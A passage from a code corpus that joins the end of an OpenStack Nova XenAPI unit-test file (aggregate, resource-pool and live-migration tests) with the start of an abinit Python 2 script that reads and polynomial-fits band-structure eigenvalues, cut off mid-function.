test_remove_host_from_aggregate_invalid_changing_status(self): """Ensure InvalidAggregateActionDelete is raised when aggregate is changing. """ aggregate = self._aggregate_setup(aggr_state=pool_states.CHANGING) self.assertRaises(exception.InvalidAggregateActionDelete, self.conn.remove_from_aggregate, self.context, aggregate, 'fake_host') def test_add_aggregate_host_raise_err(self): # Ensure the undo operation works correctly on add. def fake_driver_add_to_aggregate(context, aggregate, host, **_ignore): raise exception.AggregateError( aggregate_id='', action='', reason='') self.stubs.Set(self.compute.driver, "add_to_aggregate", fake_driver_add_to_aggregate) metadata = {pool_states.POOL_FLAG: "XenAPI", pool_states.KEY: pool_states.ACTIVE} self.aggr.metadata = metadata self.aggr.hosts = ['fake_host'] self.assertRaises(exception.AggregateError, self.compute.add_aggregate_host, self.context, host="fake_host", aggregate=self.aggr, slave_info=None) self.assertEqual(self.aggr.metadata[pool_states.KEY], pool_states.ERROR) self.assertEqual(self.aggr.hosts, ['fake_host']) class MockComputeAPI(object): def __init__(self): self._mock_calls = [] def add_aggregate_host(self, ctxt, aggregate, host_param, host, slave_info): self._mock_calls.append(( self.add_aggregate_host, ctxt, aggregate, host_param, host, slave_info)) def remove_aggregate_host(self, ctxt, host, aggregate_id, host_param, slave_info): self._mock_calls.append(( self.remove_aggregate_host, ctxt, host, aggregate_id, host_param, slave_info)) class StubDependencies(object): """Stub dependencies for ResourcePool.""" def __init__(self): self.compute_rpcapi = MockComputeAPI() def _is_hv_pool(self, *_ignore): return True def _get_metadata(self, *_ignore): return { pool_states.KEY: {}, 'master_compute': 'master' } def _create_slave_info(self, *ignore): return "SLAVE_INFO" class ResourcePoolWithStubs(StubDependencies, pool.ResourcePool): """A ResourcePool, use stub dependencies.""" class HypervisorPoolTestCase(test.NoDBTestCase): fake_aggregate = { 'id': 98, 'hosts': [], 'metadata': { 'master_compute': 'master', pool_states.POOL_FLAG: '', pool_states.KEY: '' } } fake_aggregate = objects.Aggregate(**fake_aggregate) def test_slave_asks_master_to_add_slave_to_pool(self): slave = ResourcePoolWithStubs() slave.add_to_aggregate("CONTEXT", self.fake_aggregate, "slave") self.assertIn( (slave.compute_rpcapi.add_aggregate_host, "CONTEXT", "slave", jsonutils.to_primitive(self.fake_aggregate), "master", "SLAVE_INFO"), slave.compute_rpcapi._mock_calls) def test_slave_asks_master_to_remove_slave_from_pool(self): slave = ResourcePoolWithStubs() slave.remove_from_aggregate("CONTEXT", self.fake_aggregate, "slave") self.assertIn( (slave.compute_rpcapi.remove_aggregate_host, "CONTEXT", "slave", 98, "master", "SLAVE_INFO"), slave.compute_rpcapi._mock_calls) class SwapXapiHostTestCase(test.NoDBTestCase): def test_swapping(self): self.assertEqual( "http://otherserver:8765/somepath", pool.swap_xapi_host( "http://someserver:8765/somepath", 'otherserver')) def test_no_port(self): self.assertEqual( "http://otherserver/somepath", pool.swap_xapi_host( "http://someserver/somepath", 'otherserver')) def test_no_path(self): self.assertEqual( "http://otherserver", pool.swap_xapi_host( "http://someserver", 'otherserver')) class XenAPILiveMigrateTestCase(stubs.XenAPITestBaseNoDB): """Unit tests for live_migration.""" def setUp(self): super(XenAPILiveMigrateTestCase, self).setUp() self.flags(connection_url='test_url', connection_password='test_pass', group='xenserver') self.flags(firewall_driver='nova.virt.xenapi.firewall.' 'Dom0IptablesFirewallDriver', host='host') db_fakes.stub_out_db_instance_api(self) self.context = context.get_admin_context() def test_live_migration_calls_vmops(self): stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) self.conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) def fake_live_migrate(context, instance_ref, dest, post_method, recover_method, block_migration, migrate_data): fake_live_migrate.called = True self.stubs.Set(self.conn._vmops, "live_migrate", fake_live_migrate) self.conn.live_migration(None, None, None, None, None) self.assertTrue(fake_live_migrate.called) def test_pre_live_migration(self): stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) self.conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) with mock.patch.object(self.conn._vmops, "pre_live_migration") as pre: pre.return_value = True result = self.conn.pre_live_migration( "ctx", "inst", "bdi", "nw", "di", "data") self.assertTrue(result) pre.assert_called_with("ctx", "inst", "bdi", "nw", "di", "data") def test_post_live_migration_at_destination(self): # ensure method is present stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) self.conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) fake_instance = {"name": "name"} fake_network_info = "network_info" def fake_fw(instance, network_info): self.assertEqual(instance, fake_instance) self.assertEqual(network_info, fake_network_info) fake_fw.call_count += 1 def fake_create_kernel_and_ramdisk(context, session, instance, name_label): return "fake-kernel-file", "fake-ramdisk-file" fake_fw.call_count = 0 _vmops = self.conn._vmops self.stubs.Set(_vmops.firewall_driver, 'setup_basic_filtering', fake_fw) self.stubs.Set(_vmops.firewall_driver, 'prepare_instance_filter', fake_fw) self.stubs.Set(_vmops.firewall_driver, 'apply_instance_filter', fake_fw) self.stubs.Set(vm_utils, "create_kernel_and_ramdisk", fake_create_kernel_and_ramdisk) def fake_get_vm_opaque_ref(instance): fake_get_vm_opaque_ref.called = True self.stubs.Set
codeparrot/github-code-clean
#!/usr/bin/python #====================================================================# # Script to get the eigenvalues from an abinit _EIG.nc netcdf file # #====================================================================# ######### #IMPORTS# ######### import numpy as N import matplotlib.pyplot as P import netCDF4 as nc import sys import os import argparse import time ############# ##VARIABLES## ############# class VariableContainer:pass #Constants csts = VariableContainer() csts.hartree2ev = N.float(27.211396132) csts.ev2hartree = N.float(1/csts.hartree2ev) csts.sqrtpi = N.float(N.sqrt(N.pi)) csts.invsqrtpi = N.float(1/csts.sqrtpi) csts.TOLKPTS = N.float(0.00001) csts.fig_width = 8 csts.fig_height = 6 csts.markersize = 10 csts.markeredgewidth = 2 ########### ##METHODS## ########### #Get the coefficients of the line going through 2 points of xi,yi and xj,yj. By default, begin and end points #If the indices are given (2 integers), the line must go through these two points def line_ab(x,y,indices=None): if len(N.shape(x)) != 1 or len(N.shape(y)) != 1: print 'ERROR: the array x and/or y is not 1D ... exit' sys.exit() if len(x) != len(y): print 'ERROR: x and y arrays have different lengths ... exit' sys.exit() if indices == None: indices = N.array([0,len(x)-1]) else: if indices[0] < 0 or indices[1] >= len(x) or indices[0] == indices[1]: print 'ERROR: indices (0 <= indices[0]=%s < indices[1]=%s < len(x)=%s) are wrong ... exit' %(indices[0],indices[1],len(x)) sys.exit() a = (y[indices[0]]-y[indices[1]])/(x[indices[0]]-x[indices[1]]) b = (y[indices[0]]*x[indices[1]]-x[indices[0]]*y[indices[1]])/(x[indices[1]]-x[indices[0]]) return N.array([a,b],N.float) #Get the coefficients of the polynom of degree 2 going through 2 points xi,yi and xj,yj and using a least squares procedure for the other points #If the indices are given (2 integers), the polynom must go through these two points def poly2d_ab(x,y,indices=None): if len(N.shape(x)) != 1 or len(N.shape(y)) != 1: print 'ERROR: the array x and/or y is not 1D ... exit' sys.exit() if len(x) != len(y): print 'ERROR: x and y arrays have different lengths ... exit' sys.exit() if indices == None: indices = N.array([0,len(x)-1]) else: if indices[0] < 0 or indices[1] >= len(x) or indices[0] == indices[1]: print 'ERROR: indices (0 <= indices[0]=%s < indices[1]=%s < len(x)=%s) are wrong ... exit' %(indices[0],indices[1],len(x)) sys.exit() x1 = x[indices[0]] x2 = x[indices[1]] y1 = y[indices[0]] y2 = y[indices[1]] x3 = (x1+x2)/2 newy = y - y1*(x-x2)*(x-x3)/((x1-x2)*(x1-x3)) - y2*(x-x1)*(x-x3)/((x2-x1)*(x2-x3)) A = N.vstack([4*(x*x-(x1+x2)*x+x1*x2)/(2*x1*x2-x2*x2-x1*x1)]).T y3 = N.linalg.lstsq(A,newy)[0] pp = N.polyfit(N.array([x1,x2,x3]),N.array([y1,y2,y3]),2) return pp #Get the coefficients of the polynom of degree "degree" going through 2 points xi,yi and xj,yj and using a least squares procedure for the other points #If the indices are given (2 integers), the polynom must go through these two points def polynd_ab(x,y,degree,indices=None): if degree < 1: print 'ERROR: cannot find a polynomial going through two points with this degree (%s) ... exit' %degree sys.exit() if len(N.shape(x)) != 1 or len(N.shape(y)) != 1: print 'ERROR: the array x and/or y is not 1D ... exit' sys.exit() if len(x) != len(y): print 'ERROR: x and y arrays have different lengths ... exit' sys.exit() if indices == None: indices = N.array([0,len(x)-1]) else: if indices[0] < 0 or indices[1] >= len(x) or indices[0] == indices[1]: print 'ERROR: indices (0 <= indices[0]=%s < indices[1]=%s < len(x)=%s) are wrong ... exit' %(indices[0],indices[1],len(x)) sys.exit() if degree == 1: pp = N.polyfit(N.array([x[indices[0]],x[indices[1]]]),N.array([y[indices[0]],y[indices[1]]]),degree) return pp x1 = x[indices[0]] x2 = x[indices[1]] y1 = y[indices[0]] y2 = y[indices[1]] xm = N.linspace(N.min(x),N.max(x),degree,endpoint=False)[1:] prod1 = (x-x2)/(x1-x2)*y1 prod2 = (x-x1)/(x2-x1)*y2 coeff_list = list() for ii in range(len(xm)): prod1 = prod1*(x-xm[ii])/(x1-xm[ii]) prod2 = prod2*(x-xm[ii])/(x2-xm[ii]) prod_ii = (x-x2)*(x-x1)/((xm[ii]-x2)*(xm[ii]-x1)) for jj in range(len(xm)): if ii != jj: prod_ii = prod_ii*(x-xm[jj])/(xm[ii]-xm[jj]) coeff_list.append(prod_ii) p1 = prod1 + prod2 newy = y - p1 A = N.vstack(N.array(coeff_list)).T ym = N.linalg.lstsq(A,newy)[0] xx = N.array([x1]) yy = N.array([y1]) for ii in range(len(xm)): xx = N.append(xx,[xm[ii]]) yy = N.append(yy,[ym[ii]]) xx = N.append(xx,[x2]) yy = N.append(yy,[y2]) pp = N.polyfit(xx,yy,degree) return pp #Get the coefficients of the polynom of degree "degree" going through 1 point xi,yi and using a least squares procedure for the other points #If the indice is given (1 integer), the polynom must go through this point, otherwise, it takes the first point in the list by default def polynd_a(x,y,degree,indices=None): if degree < 1: print 'ERROR: cannot find a polynomial going through one points with this degree (%s) ... exit' %degree sys.exit() if len(N.shape(x)) != 1 or len(N.shape(y)) != 1: print 'ERROR: the array x and/or y is not 1D ... exit' sys.exit() if len(x) != len(y): print 'ERROR: x and y arrays have different lengths ... exit' sys.exit() if indices == None: indices = N.array([0]) elif len(indices) != 1: print 'ERROR: there should be only one index of a point through which the polynom has to go through ... exit' sys.exit() else: if indices[0] < 0 or indices[0] >= len(x): print 'ERROR: index (0 <= indices[0]=%s < len(x)=%s) is wrong ... exit' %(indices[0],len(x)) sys.exit() x1 = x[indices[0]] y1 = y[indices[0]] xm = N.linspace(N.min(x),N.max(x),degree+1,endpoint=True)[1:] prod1 = y1 coeff_list = list() for ii in range(len(xm)): prod1 = prod1*(x-xm[ii])/(x1-xm[ii]) prod_ii = (x-x1)/(xm[ii]-x1) for jj in range(len(xm)): if ii != jj: prod_ii = prod_ii*(x-xm[jj])/(xm[ii]-xm[jj]) coeff_list.append(prod_ii) newy = y - prod1 A = N.vstack(N.array(coeff_list)).T ym = N.linalg.lstsq(A,newy)[0] xx = N.array([x1]) yy = N.array([y1]) for ii in range(len(xm)): xx = N.append(xx,[xm[ii]]) yy = N.append(yy,[ym[ii]]) pp = N.polyfit(xx,yy,degree) return pp #Given the polyfit_list and energy_pivots, finds the 2nd degree that goes to a zero slope (where the value will be separated by delta_energy) #starting from a given energy (derivative is the same at this point). Returns the polynom and the values of the vertex of the polynom (maximum or minimum) def smoothend(energy_pivots,polyfit_list,energy,delta_energy_ev=None): method = 2 if delta_energy_ev == None: if method == 1: delta_energy_ev = 0.05 elif method == 2: delta_energy_ev = 1.00 if method == 1: xi = energy if xi < energy_pivots[0]: print 'Error: energy should be larger than the first energy pivot ...' sys.exit() if xi > energy_pivots[-1]: ii = len(energy_pivots) else: ii = N.argwhere(energy_pivots>xi)[0] fpi = N.polyval(N.polyder(polyfit_list[ii]),xi) fi = N.polyval(polyfit_list[ii],xi) if fpi == 0: print 'TODO, the derivative is 0 ... easy but lazy :-)' return elif fpi > 0: fv = fi + delta_energy_ev elif fpi < 0: fv = fi - delta_energy_ev aa = fpi**2/(4*(fi-fv)) bb = fpi - 2*aa*xi cc = fi - aa*xi**2 - bb*xi xv = -bb/(2*aa) new_energy_pivots = N.zeros(ii+2,N.float) for jj in N.arange(ii): new_energy_pivots[jj] = energy_pivots[jj] new_energy_pivots[-2] = energy new_energy_pivots[-1] = xv new_polyfit_list = list() for jj in N.arange(ii+1): new_polyfit_list.append(polyfit_list[jj]) new_polyfit_list.append([aa,bb,cc]) new_polyfit_list.append([fv]) return new_energy_pivots,new_polyfit_list if method == 2: xi = energy if xi < energy_pivots[0]: print 'Error: energy should be larger than the first energy pivot ...' sys.exit() if xi > energy_pivots[-1]: ii = len(energy_pivots) else: ii = N.argwhere(energy_pivots>xi)[0] fpi = N.polyval(N.polyder(polyfit_list[ii]),xi) fi = N.polyval(polyfit_list[ii],xi) if fpi == 0: new_energy_pivots = N.zeros(ii+1,N.float) for jj in N.arange(ii): new_energy_pivots[jj] = energy_pivots[jj] new_energy_pivots[-1] = energy new_polyfit_list = list() for jj in N.arange(ii+1): new_polyfit_list.append(polyfit_list[jj]) new_polyfit_list.append([fi]) return new_energy_pivots,new_polyfit_list else: xv = xi + delta_energy_ev bb = fpi/(1.0-xi/xv) aa = -bb/(2.0*xv) cc = fi - aa*xi**2 - bb*xi pp = [aa,bb,cc] fv = N.polyval(pp,xv) new_energy_pivots = N.zeros(ii+2,N.float) for jj in N.arange(ii): new_energy_pivots[jj] = energy_pivots[jj] new_energy_pivots[-2] = xi new_energy_pivots[-1] = xv new_polyfit_list = list() for jj in N.arange(ii+1): new_polyfit_list.append(polyfit_list[jj]) new_polyfit_list.append(pp) new_polyfit_list.append([fv]) if N.abs(fv-fi) > 0.05: print 'WARNING : the last energy pivot is more than 0.05 eV from the constant correction' else: print 'COMMENT : smoothing the end of the graph starting at energy {0: 8.8f} eV'.format(xi) print ' => constant correction for higher states : fv = {0: 8.8f} eV'.format(fv) print ' => last energy pivot : fi = {0: 8.8f} eV'.format(fi) print ' => fv - fi = {0: 8.8f} eV'.format(fv-fi) return new_energy_pivots,new_polyfit_list def write_polyfit(filename,energypivots,polyfitlist,energypivots_2=None,polyfitlist_2=None): writer = open(filename,'w') if energypivots_2 == None: writer.write('nsppol 1\n') else: print 'write_polyfit not yet implemented for nsppol = 2 ... returning' writer.write('NOT IMPLEMENTED\n') writer.close() return writer.write('%s\n' %len(polyfitlist)) for ie in range(len(energypivots)): writer.write('%s ' %energypivots[ie]) writer.write('\n') for ip in range(len(polyfitlist)): pfit = polyfitlist[ip] for ic in range(len(pfit)): writer.write('%s ' %pfit[ic]) writer.write('\n') writer.close() def read_polyfit(filename): reader = open(filename,'r') data = reader.readlines() if data[0][:8] != 'nsppol 1': print data[0] print data[0][:8] print 'read_polyfit not yet implemented for nsppol != 1 ... returning' reader.close() return npfit = N.int(data[1]) energypivots = N.zeros(npfit-1,N.float) polyfitlist = list() for ie, ep in enumerate(data[2].split()): energypivots[ie] = N.float(ep) for ip in range(npfit): sp = data[3+ip].split() tmp = N.zeros(len(sp),N.float) for ic, cc in enumerate(sp): tmp[ic] = N.float(cc) polyfitlist.append(tmp) return energypivots,polyfitlist ########### ##CLASSES## ########### class EigenvalueContainer(object): nsppol = None nkpt = None mband = None eigenvalues = None units = None wtk = None filename = None filefullpath = None bd_indices = None eigenvalue_type = None kpoints = None GROUP_BANDS_BS_TOL_EV = N.float(0.01) GROUP_BANDS_BS_TOL = GROUP_BANDS_BS_TOL_EV*csts.ev2hartree GROUP_BANDS_TOL_EV = N.float(0.2) GROUP_BANDS_TOL = GROUP_BANDS_TOL_EV*csts.ev2hartree #kpoint_sampling_type: can be Monkhorst-Pack or Bandstructure KPT_W90_TOL = N.float(1.0e-6) KPT_DFT_TOL = N.float(1.0e-8) kpoint_sampling_type = 'Monkhorst-Pack' inputgvectors = None gvectors = None special_kpoints = None special_kpoints_names = None special_kpoints_indices = None kpoint_path_values = None kpoint_reduced_path_values = None kpoint_path_length = None #reduced_norm = None norm_paths = None norm_reduced_paths = None def __init__(self,directory=None,filename=None): if filename == None:return if directory == None:directory='.' self.filename = filename self.filefullpath = '%s/%s' %(directory,filename) self.file_open(self.filefullpath) def file_open(self,filefullpath): if filefullpath[-3:] == '_GW': self.gw_file_open(filefullpath) else: self.nc_eig_open(filefullpath) def set_kpoint_sampling_type(self,kpoint_sampling_type): if kpoint_sampling_type != 'Monkhorst-Pack' and kpoint_sampling_type != 'Bandstructure': print 'ERROR: kpoint_sampling_type "%s" does not exists' %kpoint_sampling_type print ' it should be "Monkhorst-Pack" or "Bandstructure" ... exit' sys.exit() self.kpoint_sampling_type = kpoint_sampling_type def find_band_groups(self,bandstructure_file=None,tolerance_ev=None,spinchoice=None): if self.nsppol > 1: print 'WARNING: find_band_groups is carefully checked only for nsppol = 1' if spinchoice == None: print 'COMMENT: find_band_groups handles spins up and down on equal footing' spinchoice = 'common' elif spinchoice == 'common': print 'COMMENT: find_band_groups handles spins up and down on equal footing' elif spinchoice == 'separate': print 'COMMENT: find_band_groups handles spins up and down as 2 different band structures' if bandstructure_file != None: ec_bs = EigenvalueContainer(filename=bandstructure_file) eigenvalues = ec_bs.eigenvalues nkpt = ec_bs.nkpt nband = ec_bs.mband nsppol = ec_bs.nsppol else: eigenvalues = self.eigenvalues nkpt = self.nkpt nband = self.mband nsppol = self.nsppol if tolerance_ev == None: if bandstructure_file == None: tolerance = self.GROUP_BANDS_TOL else: tolerance = self.GROUP_BANDS_BS_TOL else: tolerance = tolerance_ev*csts.ev2hartree if spinchoice == 'common': energy_pivots_list = list() band = eigenvalues[:,:,0] for iband in range(1,nband): if N.min(eigenvalues[:,:,iband]) - N.max(band) > tolerance: energy_pivots_list.append((N.min(eigenvalues[:,:,iband]) + N.max(band))/2) band = eigenvalues[:,:,iband] return N.array(energy_pivots_list) elif spinchoice == 'separate': energy_pivots_list_up = list() energy_pivots_list_down = list() bandup = eigenvalues[0,:,0] banddown = eigenvalues[1,:,0] for iband in range(1,nband): if N.min(eigenvalues[0,:,iband]) - N.max(bandup) > tolerance: energy_pivots_list_up.append((N.min(eigenvalues[0,:,iband]) + N.max(bandup))/2) bandup = eigenvalues[0,:,iband] if N.min(eigenvalues[1,:,iband]) - N.max(banddown) > tolerance: energy_pivots_list_down.append((N.min(eigenvalues[1,:,iband]) + N.max(banddown))/2) banddown = eigenvalues[1,:,iband] return N.array(energy_pivots_list_up),N.array(energy_pivots_list_down) def correct_kpt(self,kpoint,tolerance=N.float(1.0e-6)): kpt_correct = N.array(kpoint,N.float) changed = False for ii in range(3): if N.allclose(kpoint[ii],N.float(1.0/3.0),atol=tolerance): kpt_correct[ii] = N.float(1.0/3.0) changed = True elif N.allclose(kpoint[ii],N.float(1.0/6.0),atol=tolerance): kpt_correct[ii] = N.float(1.0/6.0) changed = True elif N.allclose(kpoint[ii],N.float(-1.0/6.0),atol=tolerance): kpt_correct[ii] = N.float(-1.0/6.0) changed = True elif N.allclose(kpoint[ii],N.float(-1.0/3.0),atol=tolerance): kpt_correct[ii] = N.float(-1.0/3.0) changed = True if changed: print 'COMMENT: kpoint %15.12f %15.12f %15.12f has been changed to %15.12f %15.12f %15.12f' %(kpoint[0],kpoint[1],kpoint[2],kpt_correct[0],kpt_correct[1],kpt_correct[2]) return kpt_correct def find_special_kpoints(self,gvectors=None): if self.kpoint_sampling_type != 'Bandstructure': print 'ERROR: special kpoints are usefull only for bandstructures ... returning find_special_kpoints' return if self.eigenvalue_type == 'W90': correct_kpt_tolerance = N.float(1.0e-4) KPT_TOL = self.KPT_W90_TOL elif self.eigenvalue_type == 'DFT': correct_kpt_tolerance = N.float(1.0e-6) KPT_TOL = self.KPT_DFT_TOL else: print 'ERROR: eigenvalue_type is "%s" while it should be "W90" or "DFT" ... returning find_special_kpoints' %self.eigenvalue_type return if gvectors == None: self.inputgvectors = False self.gvectors = N.identity(3,N.float) else: if N.shape(gvectors) != (3, 3): print 'ERROR: wrong gvectors ... exiting now' sys.exit() self.inputgvectors = True self.gvectors = gvectors full_kpoints = N.zeros((self.nkpt,3),N.float) for ikpt in range(self.nkpt): full_kpoints[ikpt,:] = self.kpoints[ikpt,0]*self.gvectors[0,:]+self.kpoints[ikpt,1]*self.gvectors[1,:]+self.kpoints[ikpt,2]*self.gvectors[2,:] delta_kpt = full_kpoints[1,:]-full_kpoints[0,:] self.special_kpoints_indices = list() self.special_kpoints = list() self.special_kpoints_indices.append(0) self.special_kpoints.append(self.correct_kpt(self.kpoints[0,:],tolerance=correct_kpt_tolerance)) for ikpt in range(1,self.nkpt-1): thisdelta = full_kpoints[ikpt+1,:]-full_kpoints[ikpt,:] if not N.allclose(thisdelta,delta_kpt,atol=KPT_TOL): delta_kpt = thisdelta self.special_kpoints_indices.append(ikpt) self.special_kpoints.append(self.correct_kpt(self.kpoints[ikpt,:],tolerance=correct_kpt_tolerance)) self.special_kpoints_indices.append(N.shape(self.kpoints)[0]-1) self.special_kpoints.append(self.correct_kpt(self.kpoints[-1,:],tolerance=correct_kpt_tolerance)) print 'Special Kpoints : ' print ' {0:d} : {1[0]: 8.8f} {1[1]: 8.8f} {1[2]: 8.8f}'.format(1,self.kpoints[0,:]) self.norm_paths = N.zeros((N.shape(self.special_kpoints_indices)[0]-1),N.float) self.norm_reduced_paths = N.zeros((N.shape(self.special_kpoints_indices)[0]-1),N.float) for ispkpt in range(1,N.shape(self.special_kpoints_indices)[0]): self.norm_paths[ispkpt-1] = N.linalg.norm(full_kpoints[self.special_kpoints_indices[ispkpt]]-full_kpoints[self.special_kpoints_indices[ispkpt-1]]) self.norm_reduced_paths[ispkpt-1] = N.linalg.norm(self.special_kpoints[ispkpt]-self.special_kpoints[ispkpt-1]) print ' {2:d}-{3:d} path length : {0: 8.8f} | reduced path length : {1: 8.8f}'.\ format(self.norm_paths[ispkpt-1],self.norm_reduced_paths[ispkpt-1],ispkpt,ispkpt+1) print ' {0:d} : {1[0]: 8.8f} {1[1]: 8.8f} {1[2]: 8.8f}'.format(ispkpt+1,self.kpoints[self.special_kpoints_indices[ispkpt],:]) self.kpoint_path_length = N.sum(self.norm_paths) self.kpoint_reduced_path_length = N.sum(self.norm_reduced_paths) self.normalized_kpoint_path_norm = self.norm_paths/self.kpoint_path_length self.normalized_kpoint_reduced_path_norm = self.norm_reduced_paths/self.kpoint_reduced_path_length kptredpathval = list() kptpathval = list() kptredpathval.append(N.float(0.0)) kptpathval.append(N.float(0.0)) curlen = N.float(0.0) redcurlen = N.float(0.0) for ispkpt in range(1,N.shape(self.special_kpoints_indices)[0]): kptredpathval.extend(N.linspace(redcurlen,redcurlen+self.norm_reduced_paths[ispkpt-1],self.special_kpoints_indices[ispkpt]-self.special_kpoints_indices[ispkpt-1]+1)[1:]) kptpathval.extend(N.linspace(curlen,curlen+self.norm_paths[ispkpt-1],self.special_kpoints_indices[ispkpt]-self.special_kpoints_indices[ispkpt-1]+1)[1:]) redcurlen = redcurlen + self.norm_reduced_paths[ispkpt-1] curlen = curlen + self.norm_paths[ispkpt-1] self.kpoint_path_values = N.array(kptpathval,N.float) self.kpoint_reduced_path_values = N.array(kptredpathval,N.float) self.normalized_kpoint_path_values = self.kpoint_path_values/self.kpoint_path_length self.normalized_kpoint_reduced_path_values = self.kpoint_reduced_path_values/self.kpoint_reduced_path_length self.special_kpoints = N.array(self.special_kpoints,N.float) def has_eigenvalue(self,nsppol,isppol,kpoint,iband): if self.nsppol != nsppol: return False for ikpt in range(self.nkpt): if N.absolute(self.kpoints[ikpt,0]-kpoint[0]) < csts.TOLKPTS and \ N.absolute(self.kpoints[ikpt,1]-kpoint[1]) < csts.TOLKPTS and \ N.absolute(self.kpoints[ikpt,2]-kpoint[2]) < csts.TOLKPTS: if iband >= self.bd_indices[isppol,ikpt,0]-1 and iband < self.bd_indices[isppol,ikpt,1]: return True return False return False def get_eigenvalue(self,nsppol,isppol,kpoint,iband): for ikpt in range(self.nkpt): if N.absolute(self.kpoints[ikpt,0]-kpoint[0]) < csts.TOLKPTS and \ N.absolute(self.kpoints[ikpt,1]-kpoint[1]) < csts.TOLKPTS and \ N.absolute(self.kpoints[ikpt,2]-kpoint[2]) < csts.TOLKPTS: return self.eigenvalues[isppol,ikpt,iband] def gw_file_open(self,filefullpath): if not (os.path.isfile(filefullpath)): print 'ERROR : file "%s" does not exists' %filefullpath print '... exiting now ...' sys.exit() self.eigenvalue_type = 'GW' self.nsppol = None self.nkpt = None self.mband = None self.eigenvalues = None self.units = None self.filefullpath = filefullpath reader = open(self.filefullpath,'r') filedata = reader.readlines() reader.close() self.nkpt = N.int(filedata[0].split()[0]) self.kpoints = N.ones([self.nkpt,3],N.float) self.nsppol = N.int(filedata[0].split()[1]) self.bd_indices = N.zeros((self.nsppol,self.nkpt,2),N.int) icur = 1 nbd_kpt = N.zeros([self.nsppol,self.nkpt],N.int) for ikpt in range(self.nkpt): for isppol in range(self.nsppol): self.kpoints[ikpt,:] = N.array(filedata[icur].split()[:],N.float) icur = icur + 1 nbd_kpt[isppol,ikpt] = N.int(filedata[icur]) self.bd_indices[isppol,ikpt,0] = N.int(filedata[icur+1].split()[0]) self.bd_indices[isppol,ikpt,1] = N.int(filedata[icur+nbd_kpt[isppol,ikpt]].split()[0]) icur = icur + nbd_kpt[isppol,ikpt] + 1 self.mband = N.max(self.bd_indices[:,:,1]) self.eigenvalues = N.zeros([self.nsppol,self.nkpt,self.mband],N.float) self.eigenvalues[:,:,:] = N.nan ii = 3 for ikpt in range(self.nkpt): for isppol in range(self.nsppol): for iband in range(self.bd_indices[isppol,ikpt,0]-1,self.bd_indices[isppol,ikpt,1]): self.eigenvalues[isppol,ikpt,iband] = N.float(filedata[ii].split()[1]) ii = ii + 1 ii = ii + 2 self.eigenvalues = csts.ev2hartree*self.eigenvalues self.units = 'Hartree' def pfit_gw_eigenvalues_ha(self,polyfitlist_up,energy_pivots_up=None,nband=None,polyfitlist_down=None,energy_pivots_down=None,ecgw=None): if polyfitlist_down == None and energy_pivots_down != None: print 'ERROR: list of polyfits and energy pivots are not coherent ... exit' sys.exit() if polyfitlist_down != None and energy_pivots_down == None: print 'ERROR: list of polyfits and energy pivots are not coherent ... exit' sys.exit() if nband == None: mband = N.shape(self.eigenvalues)[2] else: mband = nband pfit_eigenvalues = csts.hartree2ev*N.array(self.eigenvalues) if polyfitlist_down == None: for ikpt in range(self.nkpt): for isppol in range(self.nsppol): if ecgw == None: ibdmin = 0 ibdmax = mband else: ibdmin = ecgw.bd_indices[isppol,ikpt,0]-1 ibdmax = ecgw.bd_indices[isppol,ikpt,1] for iband in range(ibdmin,ibdmax): delta = N.polyval(polyfitlist_up[-1],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) for ipivot in range(len(energy_pivots_up)): if csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband] <= energy_pivots_up[ipivot]: delta = N.polyval(polyfitlist_up[ipivot],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) break pfit_eigenvalues[isppol,ikpt,iband] = self.eigenvalues[isppol,ikpt,iband]*csts.hartree2ev + delta return pfit_eigenvalues*csts.ev2hartree else: for ikpt in range(self.nkpt): isppol = 0 if ecgw == None: ibdmin = 0 ibdmax = mband else: print ecgw.bd_indices ibdmin = ecgw.bd_indices[isppol,0,0]-1 ibdmax = ecgw.bd_indices[isppol,0,1] for iband in range(ibdmin,ibdmax): delta = N.polyval(polyfitlist_up[-1],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) for ipivot in range(len(energy_pivots_up)): if polyfitlist_up[ipivot] != None: if csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband] <= energy_pivots_up[ipivot]: delta = N.polyval(polyfitlist_up[ipivot],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) break pfit_eigenvalues[isppol,ikpt,iband] = self.eigenvalues[isppol,ikpt,iband]*csts.hartree2ev + delta isppol = 1 if ecgw == None: ibdmin = 0 ibdmax = mband else: ibdmin = ecgw.bd_indices[isppol,0,0]-1 ibdmax = ecgw.bd_indices[isppol,0,1] for iband in range(ibdmin,ibdmax): delta = N.polyval(polyfitlist_down[-1],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) for ipivot in range(len(energy_pivots_down)): if polyfitlist_down[ipivot] != None: if csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband] <= energy_pivots_down[ipivot]: delta = N.polyval(polyfitlist_down[ipivot],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) break pfit_eigenvalues[isppol,ikpt,iband] = self.eigenvalues[isppol,ikpt,iband]*csts.hartree2ev + delta return pfit_eigenvalues*csts.ev2hartree def pfit_gw_eigenvalues(self,polyfitlist,energy_pivots=None,nband=None): if nband == None: mband = N.shape(self.eigenvalues)[2] else: mband = nband pfit_eigenvalues = N.zeros((self.nsppol,self.nkpt,mband)) for ikpt in range(self.nkpt): for isppol in range(self.nsppol): for iband in range(mband): delta = N.polyval(polyfitlist[-1],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) for ipivot in range(len(energy_pivots)): if csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband] <= energy_pivots[ipivot]: delta = N.polyval(polyfitlist[ipivot],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) break pfit_eigenvalues[isppol,ikpt,iband] = self.eigenvalues[isppol,ikpt,iband]*csts.hartree2ev + delta return pfit_eigenvalues def pfit_gw_file_write(self,polyfitlist,directory=None,filename=None,bdgw=None,energy_pivots=None,gwec=None): if filename == None:return if directory == None:directory='.' filefullpath = '%s/%s' %(directory,filename) if (os.path.isfile(filefullpath)): user_input = raw_input('WARNING : file "%s" exists, do you want to overwrite it ? (y/n)' 